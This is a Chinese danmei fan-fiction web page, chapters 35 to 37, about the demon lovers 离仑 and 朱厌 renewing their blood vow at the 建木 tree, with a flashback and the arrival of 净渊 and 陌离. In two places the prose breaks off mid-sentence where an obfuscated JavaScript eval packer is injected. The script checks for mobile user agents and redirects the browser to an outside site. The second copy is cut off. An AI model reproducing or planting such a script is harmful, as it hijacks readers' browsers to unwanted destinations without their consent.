“离仑,我睡觉还会踢被子,会着凉的...虽然我是大妖会自愈,但还是很难受的...” “槐精可以帮你。” “我不要。” ... “离仑,我挑食,很挑食!我只爱吃你做的饭菜...虽然我们大妖是可以不吃饭的,但我就是喜欢你做的饭,好吃的...” “阿槐可以学着做。” “我不答应!” ... 朱厌连连拒绝,一把抱住离仑,皱起的眉心都可以夹死一只小飞虫了,一脸嗔怒:“我再说一次,‘我不要!我拒绝!我不答应!不可以!’” 朱厌感觉今日的离仑有些许怪异,但具体又说不出哪里奇怪,让他原本大好的心情反而变得烦躁郁闷起来。 察觉到了有些不对劲,朱厌脸上闪过一丝难掩的狠戾,伸手掐上离仑的脖子,毫不留情往自己跟前一扯,连着声音都比平日冷了好几度,语气闷闷:“离仑...你是不是喜欢上别的小妖精了...” “我的小妖精...”被朱厌掐住的脖子的离仑,不怒反笑,转而低头吻了吻朱厌的侧颈,很认真又虔诚回着他,“从始至终...只有你一个...” “阿厌...要不,我们就这样,在一起一万年,再一万年,朝朝暮暮,岁岁年年,生生世世,你说,好不好?” 原本还准备一顿输出,甚至做好动手揍人的朱厌,被离仑如此反将一军后,整个人彻底傻愣住了。 虽说离仑平日里的性子寡淡得无趣,很少会在他面前长篇大论,如此直剖心白的场景虽有,但不多。 此番患得患失模样的离仑,数万年以来,朱厌是第一次见。 “好,”朱厌的怒意突然就泄没了,松开了掐住离仑脖子的手,反而伸手,抚摸上离仑的侧脸,很认真地同他许诺着,“我们就这样,一万年,数万年,千千万万年...” 朱厌一个翻身,对换了两人的位置,居下的他成为了上位者。 居高临下的他,略微迟缓地朝离仑靠近了几分,很生涩又胆怯,轻轻吻上了离仑的唇。 其实,数万年的时光里,两人早已坦诚相见了太多太多次了,每一次都是离仑掌控着全局,而他,则是心甘情愿地堕落入离仑为他编织的大网。 时至今日,朱厌还是一窍不通。就像此刻,朱厌的亲吻,也是亲得毫无章法,亲得乱七八糟的。 可是离仑,他就是很喜欢,很享受。 他觉得,这样子的朱厌,很可爱。这样子的朱厌,就像一只被人故意惹怒的小兽,疯狂地想将他这个人,圈入朱厌自己的归属之中,用他笨拙又真诚的方式标记着属于他的东西。 一吻落毕。 朱厌望着离仑,很认真地小声说着:“离仑...你输了...” 离仑那双幽蓝眼中装满朱厌的身影,淡笑着回他:“嗯...很早之前,我已经就输了...” “那你...”朱厌伸指,摩挲着离仑被他亲得通红的薄唇,目光痴痴望着他,“想好了...要接受什么惩罚了吗...” 离仑拉过他的手,亲了又亲,伸手将朱厌脑袋按在自己肩上,俯身咬了又咬他通红的耳朵,“任君——”低哑着嗓子同他厮语道,“处置——可好——” 接着离仑一个猛地翻身,把身上的朱厌,重新压倒在自己身下,“阿厌,要不——” 再次将主权握在手的离仑,在朱厌耳边厮磨着低语,引得朱厌不可察觉地颤抖了一下,“我们再生一个吧...” 离仑此话一出,朱厌彻底一愣。 不是说任由他惩罚和处置吗?怎么他觉得好像是在惩罚他呢?! 朱厌只觉得自己身后那处隐约一疼,小脸一红,猛地一把推开他,嗖的一声就不见人影了。 “流氓——” 35.修复之人 朱厌没有离开海地,也没有直接回到槐江谷。 循着朱厌的气息,离仑追踪着他,最后也一并来到了大荒禁地。 离仑一踏入禁地,一眼就瞧见了站在建木神树下的朱厌。 只见他微微抬颌,那张美得雌雄难辨的脸,正专注仰望着神树,那双暗红浅瞳里,布满柔和的神色。 数万年前早已枯萎的建木神树,此刻翠绿欲滴,茂盛茁壮,更是开满了金色的神花。 神树不远处,那一块本该黯淡无光的白泽神碑,在离仑跟朱厌血誓的滋养下,也隐隐散着光辉。 正望着建木神树深思的朱厌,一旁忽然多了一道身影。 是离仑。 离仑没有说话,只是默默伸手,牵过朱厌的手,陪他一起站在神树下,观看着眼前盛景。 “阿离。” “嗯。” “你看,建木神树,它又开花了。” “嗯。我看到了。” “你可还记得,三万多年前,我们第一次来这里的场景吗?”朱厌收回眺望的目光,转而望向一旁的离仑。 离仑也望着他,指尖捋过他随风飘散着的发丝,温柔轻声道:“嗯。记得。” 六万年前的大荒禁地,到处一片断壁残垣,万物枯荣,放眼所望之处,荒芜又阴暗。 枯萎的建木神树树底下,坐着两道小小的身影。 两道小小的身影,都被一个泛着幽蓝淡光的大光圈包裹住。 而这抹幽蓝淡光,不仅照亮了阴暗的禁地,也给这荒芜之地带来了些许活人生气。 身形略微小点的身影,整个人慵懒地靠在一旁身形略微高大的人肩上。 只见这人先行开口,问着坐在他身边的人:“阿离,你说那九足金乌,为何要摧毁建木神树和白帝塔呢?” “你看现在,神树枯萎,帝塔倾斜,结界破损,大荒摇摇欲坠,像修为上等的大妖们,大妖尚有妖力自保,小妖可就灰飞烟灭了...” “我觉得,这九足金乌,就是个坏妖怪...你觉得呢?” 被唤做‘阿离’的少年,开口应着他的提问:“嗯。我觉得,你说的对。” 朱厌继续接过话:“爷爷说过,建木神树跟白帝塔,都是上古神物。” “阿离,”小朱厌玩着自己的雪银小辫子,若有所思说着,“不知可有法子,修复这上古神物?” “哎呀!”朱厌一个不小心玩猛了,把绑着自己头发辫子的草木绳子给弄断了。 原本绑好的小辫子一下子就散开了,风一吹,头发变得更加乱糟糟了。 朱厌有些烦躁地抓了抓自己被风吹得更乱的头发,本来真身就是小白猿的小朱厌,这下子变得更像一只炸毛的小猫儿了。 离仑一看,当下就变出自己的部分真身,刚想从上头扯了一小节藤蔓化作发绳,就被朱厌一把制止了。 朱厌鼓着小脸,气嘟嘟训着离仑:“你这个笨蛋小木头,这是你的真身。你扯了藤蔓,你就会受伤的。英招说过,妖受伤了,是会疼的。” “我不怕疼。”离仑呆呆地回着话,仿佛真的一点都不知疼似的。 “不行!你是我的!我不准你随便把自己弄受伤,我瞧见了这里闷闷的——”朱厌抬起小脸,一边说着一边捂住自己的心口,小脸倔强又真挚地望着离仑。 才满两百岁的朱厌,丝毫没有意识到藏在这句话里的暧昧之意,也未曾深究过其中缘由,一切都只凭心而行。 他只知道,他一点都不想离仑受伤。 倒是一旁的离仑,被他一句话撩拨得小脸微微发红,干脆沉默起来。 离仑暗自懊恼着,自己都快四百岁了,怎么还如此不争气,被这小白猿一句话就压制得面红耳赤的?! “那我...我用槐木叶子...可好...”话还没说完,离仑就已经变出了好几片槐木叶子。 他怕朱厌嫌弃光秃秃的叶子不好看,还顺道变了几朵自己的白槐花出来。 “好漂亮呀...”朱厌一瞧见这纯白如雪还隐约泛着淡淡金光的白槐花,眼睛瞬间一亮,喜欢得不得了,“我喜欢,那我就勉为其难让你帮我绑吧。” 离仑没有说话,只是默默点了点头,手上开始动作起来,笨拙地模仿起平日里英招给朱厌梳头编小辫子的场景。 小小的少年,脸上的神色,格外真诚又带了显而易见的紧张,整个人身体都僵硬得不得了。 虽然他动作笨拙又缓慢,可却也不敢停了手上的忙活。甚至,由于过度紧张,离仑前额都布满了薄薄的一层汗珠。 “哎呀——” 朱厌又一次被离仑给扯疼了头发,疼得他眼泪汪汪,疼得他直呼出声,疼得他更是龇牙咧嘴。 朱厌疼得小脸一垮,冒着泪花,撅着小嘴,同离仑哭诉着:“阿离,我疼...” 朱厌此话一出,离仑更加紧张了,更加手忙脚乱了:“我看看。” 朱厌微微抬头,鬼灵精怪地睁开一只眼,偷偷瞄了离仑一下,看到他一脸紧张,连忙笑着打趣道:“骗你的~” 其实,朱厌确实是被没有经验的离仑扯得头皮疼得要命。可瞧见离仑一脸紧张的模样,朱厌怕这轴木头当真往心里去,才随口扯了个小谎言。 朱厌起身,跑到一旁早已发黑的白泽神河,一脸期待地伸脖一瞧—— 看着水里自己的倒影,头发凌乱得很有章法,整齐得又一高一低的头发,朱厌脸上的表情很纠结。 朱厌觉得,此刻的自己,就像是一个被人做.坏的拨浪鼓,又像一只炸了毛的芦花鸡,本就被离仑扯疼的头皮,他感觉好像更疼了... 朱厌暗戳戳自我吐槽着:好~~~丑~~~啊~~~o((⊙-⊙))o 还是一会回去,偷偷找爷爷重新绑好了... “喜...喜欢吗...”离仑看朱厌蹲在白泽神河跟前照了老半天都没说话,脸上更紧张了,心里愈发忐忑不安。 顶着炸毛芦花鸡的发型,已经暗自将离仑的审美打入死亡角落的朱厌,抬头冲他傻呵一笑,依旧脸不红心不跳地扯着谎:“嗯,我喜欢,好看的。” 朱厌又跑到了离仑身边,刚好一片枯萎的建木叶子飘到了他们脚边。 朱厌捡起枯萎的建木叶子,忍不住神色伤感起来,小声嘀咕着:“要是有法子,能修复这上古神物,就好了..” 一旁的离仑瞧着他伤感模样,一副欲言又止模样:“建木神树和白帝塔,可不是你一个人想修就能修的。” 朱厌一听,当下就来劲了,眼睛一亮:“嗯?你知道修复之法?” 不比自己喜欢满地跑又喜好热闹的性子,离仑的性子冷淡寡言,平日什么都不关心,除了修炼就是看书。 朱厌觉得,饱读四海八荒诗书的离仑,肯定知道这其中的修复之法。 “自然知道。”离仑看似面无表情,但偷瞄朱厌的眼里,藏不住的小骄傲还是被朱厌狠狠捕捉到了。 可是他却故意摆出一幅高冷模样,引诱着朱厌继续追问他。 朱厌暗自压了压微勾唇角,一把扑到他怀里,伸手掰过他的脸对上自己的目光,笑着问他:“我们阿离是大荒最厉害的妖,你就告诉我,好不好嘛...” 离仑看似一脸高冷,实则在朱厌脚刚朝他这边一动的时候,藏在衣袖中的手就已经准备接住朱厌了。 抱着朱厌的离仑,脸被他捧住,又被他如此直白盯着,觉得有些不好意思却只能故作镇定,压低嗓子做出一副深沉模样。 “修复建木神树,需得两名心意相通的上古大妖才能修复。单有心意相通还不行,还得妖力强大的命定妖侣才行...” “心意相通?妖力强大?”这些朱厌倒是理解几分,可是最后提到的... 命定妖侣? 修复建木神树与白帝塔而已,与这个又有何干系? 朱厌心里忽然就闷闷的,好像被一块从天而降的石头压住,让他有些难受与烦躁。 “命定妖侣...”朱厌此刻脸上,除了不解之外,更多的是迷茫,开口质问的语气都不自觉带了一抹闷闷不乐,声音也冷了几分,“阿离,你是大荒最强大的妖,你可有心悦之人?” 觉得这话怪怪的朱厌,寻思了一会后又接着追问着:“不对!应该问,阿离,你可有心悦之妖?” 怕离仑没听清楚他的问题,朱厌又再重复了一次,并且比刚才还要大声许多:“阿离,你可有心悦之妖?” 朱厌踮起脚,靠近了离仑,脸上的神色,也不自觉沾染上了一抹连他自己都尚未察觉到的紧张与不安。 离仑与朱厌两人之间的距离,面对面,仅隔着一指之远。 离仑的脸被朱厌强行捧着,朱厌温热的鼻息在两人的脸上来回涌动,勾得离仑藏在胸腔之下,原本平稳跳动的心一时之间都乱了拍子。 朱厌就这么直勾勾盯着离仑,那双漂亮的桃花眼,装满了少年的天真与直白,露.骨.又大胆,又带了一抹专属于少年青涩的紧张与不安。 离仑被他一连追问得有些结巴,小脸滚烫得他格外难受,别开脸直接拒绝了朱厌的问题:“不许问那么多。” ... “阿离,你看,我们真的做到了...” 朱厌的声音,把沉浸在过去的两人拉回现实,与离仑对视的眼里,有欣慰,有幸福,有坚毅,还有骄傲。 白泽神碑跟前,离仑与朱厌,分别站在神碑两侧,抬手轻放在神碑之上,再度起誓,共念誓言。 “以身结契。”“两心共生。” “祸福与共。”“同守大荒。” “誓契之约。”“以吾之血。” “泽被万物。”“福泽天地。” “同归同亡。”“不死不终。” 誓言语落,两人闭眼,身后缓缓各自现出鎏金色泽的大槐鬼法天象地跟银白色泽的白猿法相。 离仑的大槐鬼法天象地,眉间钻出一抹帝释青光雾。朱厌的白猿法相,眉间则钻出一抹丹雘红光雾。 一红一蓝的光雾相互盘旋交织,缓缓钻入建木神树的树心,而一旁的白泽神碑也瞬间光芒折射,原本繁盛的建木神树再度飞速生长,继续不断生根发芽,攀藤而上。 神树的根须越长越大,树冠开出的建木神花也越发璀璨抢眼。 建木神花的花蕊中央,渐渐飘出一缕缕鎏金光丝,飘出大荒禁地,飘向整座大荒。 是祝福。 一瞬之间,先前因离仑朱厌比赛而遭到部分破坏的大荒不仅恢复如初,整座大荒甚至还散出幽幽金光,万物生长,百花齐放,连带着大荒境内一些妖力低微的小妖小怪,在接受到此等祝福后,修为都瞬间增涨了不少。 “大家快看!好纯净的妖力呀!” “王跟妖后大人的槐鬼之力跟白猿之力...” “是祝福!” “真的是祝福!不止有建木神树的祝福,还有王跟妖后大人的祝福呢...” “你们快看,我可以化出人形了!” 一朵生长在大荒海地的小花妖在离仑跟朱厌的祝福下,逐渐化出人形,正喜出望外地同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466021|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁小伙伴们报着喜。 融合了建木神树祝福的槐鬼之力和白猿之力,源源不断地注入守护着大荒的九层结界,被加固的结界也发出柔和的白光。 “阿离,你快看!大荒的结界,又再次加固了!” 朱厌伸手,开心地接住了满天飘落的金光粒子。 朱厌望着满天祝福,倒映着璀璨祝福的眼睛,亮亮的。而一旁守在他身边的离仑,自则是静静站在他身旁,始至终眼里只望向朱厌。 ... 沉浸在过往回忆的英磊,收回微微失神的目光,接着说:“虽然后来呢,离仑跟朱厌是有把本山神的庙给修好了,但是后面他俩又把我的山神庙给搞垮了...真是可恶!你们知道吗?离仑跟朱厌他们简直就是大荒恶霸夫夫!” “英磊山神大人,王跟妖后大人,他们有多恶霸呀?” “你们是不知道,我跟他们对打的时候,他们夫夫联手耍阴招陷害我!朱厌爱用一字诀,离仑这个有了妖侣就忘了兄弟的老槐妖,他居然站在一旁纵容朱厌打我还给他补刀!搞得我连裤.衩.子都快没了!你们说他俩可不可恶?!恶不恶霸?!” 此话一出,底下正听他讲着大荒往事的诸多槐精们,个个都彻底笑翻在地,有些甚至笑得直在地上打着滚。 槐精睿睿蹿到英磊跟前,一脸认真的问他:“山神大人,那...建木神树跟白帝塔是不是很难修复呀?” 英磊扒拉着自己的黄毛辫子,肯定地点了点头:“那还用说,肯定很难的呀!要知道,大荒数千数万年以来,也就只有离仑跟朱厌两人修复过。” “大荒的妖都知道,几万年前,九足金乌摧毁了建木神树跟白帝塔,也知道曾经有大妖修复的传说。” “可是呢,很少妖知道,其实修复之人便是大荒的妖王跟妖后,也就是离仑跟朱厌两个人。不过,现在我说了,你们就知道了。” “对了,刚才你们问我啥来着?”英磊叽里咕噜一顿输出后突然卡壳,完全忘了槐精方才问他的问题。 一旁槐精捋着自己飞翘的头发丝儿,咿咿呀呀说着:“山神大人,刚刚我们聊到,建木神树跟白帝塔,到底有多难修复。” “哦,对了。”英磊开始回想起以前英招同他说过的话,“我爷爷说过,大荒禁地里的建木神树跟白帝塔,那可是上古遗留下来的神物,不是随便就能修复的。修复它们,是具有极为严苛的条件要求的。” 槐精们继续追着问:“那要怎样,才能修复呢?” 英磊沉思了好一会才回答了这个问题:“修复神树与帝塔,得是大荒最强大的上古大妖才行。可是呢,单有强大的妖力也不行。” “更重要的是,这修复之人,两人还得是心意相通的命定妖侣。” “命定妖侣啊...这又是什么呢?” 在场听着的槐精们面面相觑,挠着脑袋歪着头,一个个脸上满是不解地望着英磊。 英磊觑着眼,脸上露出难为情的表情,有点为难地说:“呃...这命定妖侣啊...呃...不知道怎么跟你们解释,等你们长大了就明白了。” “你们看,就这严苛的要求,放眼整个大荒,就‘上古大妖’这个要求就很少有妖能够符合了,还得是强大妖力的上古大妖,并且两个大妖之间还须得是命定妖侣。这下子好了,连一只手都数不出来几个妖来。” 英磊脸上突然一变,语气有些慎重:“当大妖以自身的妖力和血誓修复神树,神树便会为他们祝福,给他们缔结誓契。” “这誓契,又称同生共死印。既是祝福,也是诅咒。” 在场所有槐精们一听,顿时来了精气神儿:“大人,为什么建木神树的誓契是祝福也是诅咒呢?” 英磊很认真思考了一番才开口:“其实嘛...我也不是很清楚,我也是听我爷爷说的。” “他说,大荒建木神树的祝福,若是缔结誓契的妖侣,其中一方身死魂销,镌刻在他们灵魂上的神树祝福,也能随之转世轮回,再次给命定的两人缔结永世良缘。” “哇!山神大人,这个听起来好...好什么来着,萌萌,你还记得吗?就是凡间话本上写的那个...”槐精胖胖挠着脑袋,想不出怎么形容的他无奈只能向一旁人求助。 槐精萌萌笑着接嘴:“好浪漫!” “没错!就是这个词儿,‘浪漫’,你真厉害。” 英磊琢磨了下槐精们说的这个词儿,觉得怪有意思的,也点头以示赞同:“感觉是挺浪漫的。可是,听说建木神树的诅咒也是很可怕的。” 槐精们一听顿时摒住了呼吸,连气儿都不敢出:“有...有多可怕呢...” “神树缔结的誓契,若是强行逆转,祝福便会成为夺命诅咒...但是到底何为‘强行逆转’,我爷爷也没告诉我...” “英磊大人,我怎么觉得怪怪的呢...” “大人,不对呀...你都说了,这誓契又称同生共死印,那缔结誓契的大妖只能同生共死了。那为何我们的王死了,可妖后大人却没事呢?” 英磊听了,也只是摇了摇头。 其实,槐精的疑问,恰好也是英磊内心深藏多年的疑问。 几万年过去了,他到现在,还是想不明白,也弄不清楚,这建木神树给命定妖侣缔结誓契时,到底在这里头,藏了多少弯弯绕绕。 朱厌醒来后,他原本打算,还是找个机会去问下朱厌吧。 可瞧见朱厌的状态,转头又一想,现在的自己,估计比失忆的朱厌,还要更了解这建木神树跟大荒。 36.闺中密友 英磊跟在场所有听他说着大荒过往故事的槐精们,个个都手托着腮,像是凡间遭了荒的老农一样,一排排坐在槐江小居门口的台阶上,气氛顿时有些低迷。 槐精萌萌忽然抬头,朝英磊发出一问:“大人,方才你说,王跟妖后大人,相生相克的两人,从小就青梅竹马,然后心意相通,再到最后成为大荒诸妖都知悉的神仙眷侣。” “你为什么觉得,是我们王先爱上妖后大人的呢?” 萌萌此话一出,所有槐精顿时也都来了精气神儿,兴奋得像是打了鸡血般,叽叽喳喳围着英磊问了起来。 虽然还是被槐精们吵得闹腾,许是想到冷却的气氛好不容易再次热乎起来,这一次的英磊倒是没像先前那番吵着制止他们。 英磊沉默了一会才娓娓道来:“离仑呢,他是喜静喜幽的草木精怪。即便比朱厌更早修出人身,从小到大,也只喜欢以鬼槐真身呆在槐精谷。” “可朱厌就不一样了,他可是灵长类妖怪,可比离仑这种耐得住寂寞的草木精怪,折腾多了!” “他是善动善思的白猿,向往一切繁华,从小到大,他没事就爱往槐江谷跑。” 英磊说着说着,又习惯性摸上了自己早已剃光的大胡子:“你们是不知道,其实,离仑平日里惜字如金,根本不爱说话,性子又沉闷,无趣得很。” “可神奇的是,每次碰到朱厌,离仑总能被他各种奇奇怪怪的活儿整得一顿输出。那话密得,啧啧啧,可比大荒蜘蛛精编织的蛛网还要密得多——” “对了,你们知道小葵鱼嘛?刚出生的时候密密麻麻得只知道围着娘亲转来转去。被朱厌气到的离仑,那话多得就跟那刚出生密密麻麻的小葵鱼一样!” 英磊越回忆脸上表情越嫌弃,可槐精们却是越听越起劲! 英磊继续吐槽着:“尤其是小时候,朱厌那会刚修出人身,一整天就一个牛劲儿往槐江谷跑。” “离仑被闹烦了,就在槐江谷入口的位置设下层层结界,可都被朱厌破开了。” “后来呢,离仑也懒得管他,由着他在槐江谷内来去自如。” “但我听朱厌说,离仑这个千年大冰块,居然还纵容他每日跑到他真身上,坐在他枝头上叽叽喳喳说个没完没了。” 英磊下意识摸摸自己的胳膊,一想起那个画面,就忍不住起了一身鸡皮疙瘩。 离仑跟朱厌两个人,就这样,抬头不见低头见地相处了好几万年,小时候见面不是互怼就是互打,长大后就变出形影不离了! 他到现在也不明白,为何这两人吵着吵着,打着打着,就莫名其妙爱上了呢?! 爱情这杯酒,真的是,谁喝谁上头呀! 大荒的入口,站着两道身影,一道绛紫色,一道雪青色。 站在大荒第一层结界前的净渊,望着眼前若隐若现的结界,伸手一碰,结界竟像一层飘渺水波般,只是轻微一动就打开了。 看到这,净渊的眼里,不由晦暗了几分。 一旁的陌离看他没有说话,不解一问:“怎么了?为何不进去?这结界,有什么问题吗?” 净渊只是淡淡一说:“这结界,根本就不是那木头设下的结界。” 陌离一听,内心十分诧异:“不是离仑,难道是朱厌?” 净渊摇了摇头:“也不是朱厌的。是神族的。九天的手...还是伸得太长了...” 听到净渊的话,这下子,轮到陌离沉默了。 哪怕他跟净渊都是一域之主,可在睥睨众生的九天之下,万物皆为蝼蚁,终究难逃九天安排的因果。 “走吧。”净渊收回沉思的目光,“先去槐江谷看看。” 说完,两道身影畅通无阻地穿过大荒的九层结界,直达槐江谷。 小居后山,戾气竭尽全力尝试了好几次,才勉强化出实形,将被自己强行带走的朱厌带回现实。 戾气朱厌蹲在朱厌跟前,指尖略微粗鲁抹掉他嘴角残存的血迹,没头没脑说了一句:“...快了...还差一点...” 刚说完,戾气朱厌还想继续说,勉强化出的身形颤巍了一下后,被强制消散,重新又钻入到朱厌的眉心里。 朱厌猛地一惊,彻底醒了过来,感受到体内流动的妖力,让他错愕之余更多的是疑惑。 扶着一旁的岩石,朱厌尝试了好几次才勉强起身,朝槐江谷方向一步一步,拖着沉重的身子走去。 槐江谷小居,院中发出轻微一响,净渊与陌离双双现身出现。 察觉到有人闯入槐江谷的英磊,眼神一厉,手疾眼快安顿好诸多槐精后,从腰间抽出自己的大菜刀,冲到了院子—— 正挥着大菜刀要训斥人的英磊一看来人,顿时吃瘪地觑起眼,像是不确定般开口试探着:“难道我眼花了?我怎么好像看到了净渊,还有陌离呢?不对呀,净渊跟陌离不是应该在九幽鬼域吗?真是奇怪...” 净渊一听,眉眼一挑,脸色微妙一说:“奇怪什么呢,你我不过是几万年没见而已,你这只小熊猫,都开始老眼昏花了吗?” 一听到小熊猫三个字,英磊就像是是被人踩到大尾巴似的,一下子就炸毛起来了! 他真身可是威猛的大老虎,放眼九天十地,四海八荒之内,除了离仑那个坏木头之外,也就净渊这只死鬼会这么喊他小熊猫! “死鬼净渊!你跟你家宝贝鬼侣,不呆在你那鬼哭鬼嚎的九幽,跑来我们大荒做甚呢?!” 英磊忍无可忍晃了晃自己手中的大菜刀,朝净渊亮了又亮,惹得一旁从头到尾沉默站着的陌离,那双水青色的眼,恨不得把他盯穿。 英磊忽然站着站着,觉得自己一身冷飕飕的,一看到陌离的眼神,忍不住咽了下口水:“陌离...你没看见是他欺负我嘛...真是的...” 净渊一瞧陌离护犊子的样子,当下就露出一个在英磊看来算得上比傻蛋还要傻蛋万分的憨笑。 “你们一个个的,都欺负我单身一个人,本山神也是有人可以告状有人护着的好嘛...” 低头瞧见自己腰间那一串胎毛编织的虎毛串串,脑海里一闪而过一道小身影,自我嘀咕着的英磊越说越小声,连情绪都低落了好几分。 “英磊,我娘他又欺负我...呜呜...” “娘亲今日带回了一副棺木,我一回到家看到槐精们一直哭...呜呜...我以为娘亲死了...结...结果...他又故意捉弄吓我...他还不准我找爹爹告状...还把我抓到了凡间陪他玩一整天...” “英磊你快看,是我娘亲做的杏仁奶乳...” “喂!英磊!英磊!”净渊看他出神了许久,跑到他跟前挥了挥手,又拽着他摇了又摇才把英磊拉回现实,“小熊猫,你想什么呢?想得这么出神?” “要你管!”英磊气得一把打掉净渊的手,气呼呼控诉着,“本山神可是威猛的大老虎,可不是那森林里,呆萌可爱的小熊猫。你个死鬼,再叫我小熊猫,我把你鬼牢给劈成两半!”说着,又朝他亮了亮手里的大菜刀。 净渊状似被他吓得连忙跑到陌离背后,高大的身躯想方设法藏在陌离身后,有点滑稽,又有点诡异。 “所以,你俩来大荒,到底干嘛呢?找我叙旧吗?”英磊收起大菜刀,在净渊要开口前抢先一步回怼着他,“本山神忙于修炼还忙于带娃,没空陪你这只鬼叙旧。” “带娃?”净渊噗嗤一声,一点都不给他情面大笑起来,“你一个万年老光棍,哪来的娃娃可以带?在哪儿?我怎么没看到?!” “喏,在这呢!”英磊不服输地往后一吆喝,“槐精们,快出来给你们山神大人撑腰!” 咻咻咻—— 一个个绿油油的槐精,像雨后小春笋一样,从小居的地面冒出,一股脑涌向英磊身后。 英磊一脸贱兮兮的表情:“来,给你们介绍下,这是‘死鬼’大人,跟他的鬼侣。” “死鬼大人。”“鬼侣大人~” 忽然有几个槐精蹿到陌离身旁,胖乎乎的小手先行一步牵上了陌离的手,让他不由一愣。 虽然陌离从头到尾都不怎么说话,但比起气场骇人的净渊,这些靠朱厌妖力而化形的槐精们,自也随了朱厌喜欢好看事物的性格,显然更加喜欢长得好看又气场温和的陌离,甚至有些胆大的槐精,巴眨着大眼,一直盯着他看。 陌离看到这些可爱的小豆丁们,饶是一向高冷的脸上也罕见动容起来,蹲下身子,同他们玩了起来。 “小家伙,你叫什么名字呀?” “鬼侣大人,你好呀~我叫萌萌,他叫睿睿,他叫胖胖...还有她叫贝贝...” “真可爱,”陌离一脸温柔,看到萌萌小辫子歪了,当场就动手重新给她绑了头发,“你们可唤我为陌离大人...” “陌离大人,你跟我们妖后大人一样,好看!” ... 望着眼前喋喋不休的槐精们,陌离那双水青色的眼里,觉着有点灼烫。 他的长宁...要是可以长大,应该也跟这些槐精们一样活泼可爱吧... 净渊在看到英磊身后那十几个槐精以及听到他们的称呼时,一脸无语。 可当他看到陌离一声不吭陪着槐精们玩的时候,他就知道,陌离许是又暗自想起长宁了... 一眨眼,都已经三万年了。 英磊看到陪着槐精们玩的陌离,心里头觉得怪怪的,但又说不出。 净渊察觉到槐精们身上的熟悉气息,倒是提醒了他来大荒要办的正事。 “对了,朱厌呢?我们是来找朱厌的。” “朱厌啊...听这些小豆丁说,他在小居后山呢...” 外头传来一声响,嘭的一声! “谁!”英磊跟净渊先行一步冲了出去。 在场所有槐精们被吓得直往陌离身后躲着,只敢露出半个脑袋,眼睛更是躲在指缝之间偷看着外头。 “大妖!”“朱厌!” 净渊看到倒在地上的朱厌,连忙打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实,仔细想想,他跟朱厌两人,算上今日,不过才见了两次而已。但他总觉得与他,有种莫名的熟悉感,还有难以言喻的亲切感。 难道,是因为他陌离是颜狗控?! 陌离不由轻笑出声,可他觉得没什么大问题呀! 毕竟,爱美之人,人皆有之。喜欢漂亮的好看的东西,无罪~ 陌离一向不太爱说话,却碰上朱厌,却罕见地对他说了许多话。 “朱厌,你说,上次第一次见面,我好不容易用九幽冥镜把你的三魂给送了回来。” “这次见面,你怎么又把自己搞成这幅半死不活又血淋淋惨兮兮的吓人模样呢...你以为你是行走的吐血包子吗...” “朱厌,我总觉得,也许,我跟你,以前是认识的呢...” ... 英磊拉着长脸,质问着被他捉出来的净渊:“说吧,陌离怎么了?他一看就不对劲。” “我们几个不是早就认识了嘛?他干嘛那么问?看他样子,我怎么觉得跟朱厌差不多呢?你可别告诉我,这家伙也失忆了?!” 净渊不知道这么给他解释才算清楚,含糊敷衍着:“呃...说来话长...” “那你小子就给我长话短说!”英磊烦躁拿过自己黄毛小辫子一咬,顿时觉得自己格外头大,当下开启吐槽模式,“离仑朱厌就算了,怎么连你跟陌离也都一个个的都让妖如此不省心呢?!” “陌离...”净渊眼神一暗,连说话声音都带上了一抹杀意,“第八十八次...被洗髓池洗掉记忆了...” 英磊一听,瞳孔一缩,想要开口询问却又不知道如何开口才算好。最终,他还是没有问出口,只是默默拍了拍净渊的肩膀。 “他的仇,连带着长宁的那一份,我会一起算。”说完,净渊便转身,朝朱厌房间走去。 英磊望着净渊远去的身影,满脸落寞。 一提到长宁,他就不由自主想到白槐跟白玖... 刚进来的净渊,听到陌离的话,思索了一会后还是决定告诉他:“确实。你跟朱厌,不仅认识,还很要好...” 守在床边的陌离,本就疑惑,一听净渊的话,更加疑惑了,歪着头看向净渊,指着朱厌俏皮一问:“嗯?你是说,我跟这个吐血娃娃,以前,很要好吗?” “嗯。”净渊接着说,“用凡人的话来说,你跟他,是闺蜜,闺中密友。” “那...”陌离沉默了一会,“为何我记不清了...” 净渊没有回应,只是跟进来的英磊暗自交换了一个眼色后,有意岔开话题:“嗯?小白醒了。” 果然,一唤小白,陌离的注意力就被净渊巧妙给转移开了。 白琉璃一直用着小小的身子拱着朱厌,甚至还将自己尾巴卷着的黑色珠子往他跟前递了又递,希望朱厌可以睁眼看一看。 可惜,事与愿违,朱厌还是没有醒。 “净渊,琉璃尾巴卷着那颗黑不溜秋的珠子,是什么东西呀?”英磊俯下身子靠近琉璃,看了又看,瞧了老半天,还是不知道是什么东西。 “那是伽罗的元神。” 英磊被惊得彻底咋呼起来:“什么鬼东西?!伽罗不是在三万年前就已经死了吗?” 此话一出,英磊诡异地同时收到了净渊跟陌离的白眼。 37.我不在乎 一听到英磊说伽罗已死,原本温顺安静的白琉璃,迅速将尾巴卷着的珠子盘在身下。 琉璃缠在朱厌手腕上的蛇身,顿时猛地支起,朝英磊毫不客气地吐着猩红蛇信子,开始抖动尾巴,甚至是朝他哈着气嘶嘶叫起来。 琉璃过激的反应,把英磊吓了一大跳,整个人噌的一声跳到净渊身后藏起来,只露出一双大眼睛盯着发怒的琉璃。 “小白,”陌离摸了摸他的头,小声安慰着他,“别理这只小熊猫,伽罗会回来的。” 白琉璃一听,目不转睛盯着陌离,像是赞同他的话。 琉璃瞥了一眼藏在净渊身后只露出一双眼睛的英磊,朝他翻了一个大白眼后,傲娇地扭过头,拖着小身子,爬到朱厌枕头上,盘起身子窝在他耳边,眯上了眼。 